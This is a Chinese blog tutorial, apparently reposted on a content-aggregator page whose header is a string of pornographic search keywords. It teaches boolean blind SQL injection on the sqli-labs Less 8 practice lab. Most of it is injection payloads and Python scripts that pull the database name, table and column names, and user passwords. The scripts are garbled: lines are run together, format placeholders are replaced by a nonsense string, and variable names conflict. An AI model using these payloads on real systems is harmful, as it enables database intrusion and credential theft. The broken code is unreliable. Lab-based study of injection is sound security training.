日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

發布時間:2024/9/30 数据库 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入学习——Bool盲注详解 sqli-labs(Less 8) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

        • 前言:
        • 一、Bool盲注常用的函數:
        • 二、Less8 布爾型單引號GET盲注
          • 1、查數據庫版本
          • 2、猜解數據庫的長度
          • 3、猜數據庫名字
          • 4、猜解表名
          • 5、猜解字段名
          • 6、猜解數據
        • 三、腳本注入:

前言:

今天來總結下SQL注入的 Bool 盲注,通過 sqli-labs 靶場練習。

一、Bool盲注常用的函數:

database() 顯示數據庫名稱 left(a,b) 從左側截取a的前b位 substr(a,b,c) 從b位置開始,截取字符串a的c長度 mid(a,b,c) 從位置b開始,截取a字符串的c位 length() 返回字符串的長度 Ascii() 將某個字符轉換為ascii值 char()ASCII碼轉換為對應的字符

ok,知道了這些就去實戰試試吧。

二、Less8 布爾型單引號GET盲注

補充:本關也可以用時間盲注,報錯注入是不行的,因為報錯信息被注釋了。

輸入?id=1,頁面正常,但還是沒有顯示信息。

加單引號

頁面無回顯,應該是報錯了,繼續輸入?id=1 and 1=2

頁面沒有變化,說明不是數字型,輸入?id=1 and 1=2 --+

頁面發生變化(沒有報錯,只是查不出數據,和上面的無回顯不一樣),說明是單引號閉合的字符型注入。

知道了這些,下面就可以開始正式的 Bool 注入了。

1、查數據庫版本

利用 left(database(),1)進行嘗試

127.0.0.1/sqli-labs-master/Less-8?id=1' and left(version(),1)=5 %23

這里數據庫的版本為 5.6.17,上面的語句是看版本號的第一位是不是 5,如果回顯正常,那么說明第一位就是5
這里顯然回顯正常,剩余的慢慢測,一般都是使用腳本。

2、猜解數據庫的長度
127.0.0.1/sqli-labs-master/Less-8?id=1' and length(database())=8 %23


數據庫長度為 8 時,頁面回顯正常。這里說明下,長度要一個一個的試,這里只是驗證下,在要爆信息不多的情況下可以手動試試(二分法可以提高很多效率),太多的話就建議用腳本,或者用burp 爆破。

3、猜數據庫名字

首先猜測數據庫第一位,這里使用了 left 函數

left(a,b):返回a字符串從左至b位數,詳細看下面用法。

127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),1)>'a'--+


數據庫我們知道是 security,所以我們看他的第一位是否 大于 a,很明顯 s 大于 a 的,因此回顯正常。當我們不知情的情況下,可以用二分法來提高注入的效率。

測得第一位為 s,我們看前兩位是否大于 sa,繼續猜測第二位:

127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),2)>'sa'--+


然后第三位,第四位…(很麻煩)。

這里還可以構造這樣的命令猜解數據庫第一位 :

127.0.0.1/sqli-labs-master/Less-8?id=1' and ascii(substr((database()),1,1)) >80--+

第二位:

127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),2,1)) >80--+

最終我們可以確定數據庫的全名是security,接下來我們判斷表名。

4、猜解表名

語句:

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)=""--+

通過變換 x 和 y 的值我們可以得到所有的表名。

注:security里有四張表,limit 3,1 即第四張表 users

接下來判斷所有的users中的字段名。

5、猜解字段名

語句:

?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)=""--+

通過變換 x 和 y 的值可以得到 username 和 password 這兩個字段名

接下來就是爆數據了 。

6、猜解數據

用戶名:

?id=1' and left((select username from users limit x,1),y)=""--+

通過變換x,y的值可以得到所有的用戶名 。

密碼:

?id=1' and left((select password from users limit x,1),y)=""--+

通過變換 x,y 的值可以得到所有的密碼 。

布爾盲注的手工注入很是繁瑣,推薦使用 sqlmap 或 腳本,下面分享一個腳本。

三、腳本注入:

爆數據庫 :

# -*- coding:utf8 -*- import requests url = 'http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1%27' # 這個url要對應你自己的url payload = " and%20left(ozvdkddzhkzd(),{n})=%27{s}%27%20--%20k" # 上面兩個可以合并為一個,但沒有必要,(本來就是我拆開的) list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] # 字典 str1 = "You are in..........." # 就是通過返回的頁面里有沒有這個字符串來判斷盲注有沒有成功 # 開始對比database() database = '' for i in range(1, 10): # 相當于C語言的for循環1~9 其實這里應該先判斷database有多長的for ss in list1: # 相當于for循環遍歷list,然后把每一項賦值給ssp = payload.format(d='database', n=i, s=database+ss) # 把payload里的ozvdkddzhkzd,{n},{s}賦值u = requests.get(url+p) # 訪問網頁# print pif str1 in u.content: # 如果str在網頁內容里面database += ssprint u"正在對比database第", i, u"個字符",print databasebreak print u"對比成功,database為:", database # 開始對比user()#user也是同理 user = '' for i in range(1, 20):for ss in list1:p = payload.format(d='user', n=i, s=user+ss)u = requests.get(url+p)# print pif str in u.content:user += ssprint u"正在對比user第", i, u"個字符",print userbreak print u"對比成功,user為:", user print u"database-->", database print u"user-->", user a = raw_input()

爆破成功

接下來爆表

# -*- coding:utf8 -*- import requests url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27' payload = 'and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \'database()%20limit%20{t},1),{w},1))={A}%20--%20k' # 我把上面的substr改成了substring按理說mysql里substring和substr是一樣的但是如果出錯了記得改回substr list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44] str1 = "You are in..........." tables1 = '' tables2 = '' tables3 = '' tables4 = '' for i in range(0, 4): //這里要視情況而定,表的數量不定for j in range(1, 10):for s in list1:p = payload.format(t=i, w=j, A=s)u = requests.get(url+p)if str1 in u.content:if i == 0:tables1 += chr(s)print u"正在對比第1個表,", u"第", j, u"個字符",tables1elif i == 1:tables2 += chr(s)print u"正在對比第2個表,", u"第", j, u"個字符", tables2elif i == 2:tables3 += chr(s)print u"正在對比第3個表,", u"第", j, u"個字符", tables3elif i == 3:tables4 += chr(s)print u"正在對比第4個表,", u"第", j, u"個字符", tables4break print 'tables1-->', tables1 print 'tables2-->', tables2 print 'tables3-->', tables3 print 'tables4-->', tables4 a = raw_input()


然后盲注users的字段名:

# -*- coding:utf8 -*- import requests list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '.'] # 字典 url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27' payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \'%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k' # payload其實就是url的后半部分,也是盲注的關鍵代碼,也可以和url變量合并 column = ['', '', '', '', ''] str = 'You are in...........' # 以上四個變量就是與本次盲注相關的變量了 for j in range(0, 3):for i in range(1, 9):for l in list1:p = payload.format(w=j, n=i, c=column[j]+l)u = requests.get(url+p)if str in u.content:column[j] += lprint u'正在對比第', j+1, u'個字段第', i, u'個字符', column[j]break for c in range(0, 5):print 'column', c+1, '-->', column[c] a = raw_input()


最后就是查看數據了

# -*- coding:utf8 -*- import requests list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '.'] # 字典 url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27' payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27ozvdkddzhkzd%27%20--%20k' str = 'You are in...........' username = ['', '', '', '', '', '', '', '', '', '', '', '', '', ''] password = ['', '', '', '', '', '', '', '', '', '', '', '', '', ''] for i in range(1, 15):for j in range(1, 11):for l in list1:p = payload.format(n=i, w=j, d=username[i-1]+l)u = requests.get(url+p)if str in u.content:username[i-1] += lprint u'正在對比第', i, u'個記錄的username的第', j, u'個字符', username[i-1] payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27ozvdkddzhkzd%27%20--%20k' for i in range(1, 15):for j in range(1, 11):for l in list1:p = payload2.format(n=i, w=j, d=password[i-1]+l)u = requests.get(url+p)if str1 in u.content:password[i-1] += lprint u'正在對比第', i, u'個記錄的password的第', j, u'個字符', password[i-1] print 'id username password' for i in range(1, 15):print i, '-', username[i-1], '-', password[i-1] a = raw_input()



🆗,關于Bool盲注的總結暫時就這么多了。

總結

以上是生活随笔為你收集整理的SQL注入学习——Bool盲注详解 sqli-labs(Less 8)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。